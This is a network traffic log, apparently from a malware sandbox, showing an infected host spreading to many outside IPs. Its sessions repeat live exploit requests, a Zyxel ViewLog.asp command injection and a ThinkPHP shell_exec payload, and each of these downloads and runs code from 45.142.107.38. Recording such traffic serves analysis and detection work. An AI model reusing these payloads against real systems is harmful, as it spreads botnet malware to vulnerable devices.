Mar 4, 2024 15:08:35.703573942 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.13	39448	31.136.58.129	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.964504957 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:25.527045965 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:26.614984989 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:28.886953115 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:33.238967896 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:41.942986965 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:00.887042046 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:35.702846050 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.13	46792	31.136.116.243	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.966325998 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:25.527045965 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:26.646960974 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:28.886953115 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:33.494999886 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:42.454896927 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:00.887042046 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:37.750930071 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.13	54334	94.66.210.144	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:25.030647039 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.13	42782	94.121.202.198	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:25.039078951 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.13	35628	94.121.111.39	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:25.039422035 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.13	43858	94.123.52.176	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:25.060580969 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.13	34786	95.169.27.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.208385944 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:27.380951881 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 04 Mar 2024 14:07:27 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.13	34398	95.56.72.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.309926987 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:27.571120977 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:07:27.571177959 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.13	50472	31.136.30.151	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.471674919 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:30.679049015 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:36.823092937 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:48.854931116 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:13.174881935 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:02.326847076 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.13	48948	85.247.37.191	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.476211071 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.13	45100	31.200.3.15	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.519794941 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.13	33466	94.194.184.122	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.637602091 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.13	38020	112.106.28.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.681569099 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:27.981616020 CET	268	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:27 GMT Content-Type: text/html Content-Length: 138 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.13	57922	95.33.218.48	80

Timestamp	Bytes transferred	Direction	Data
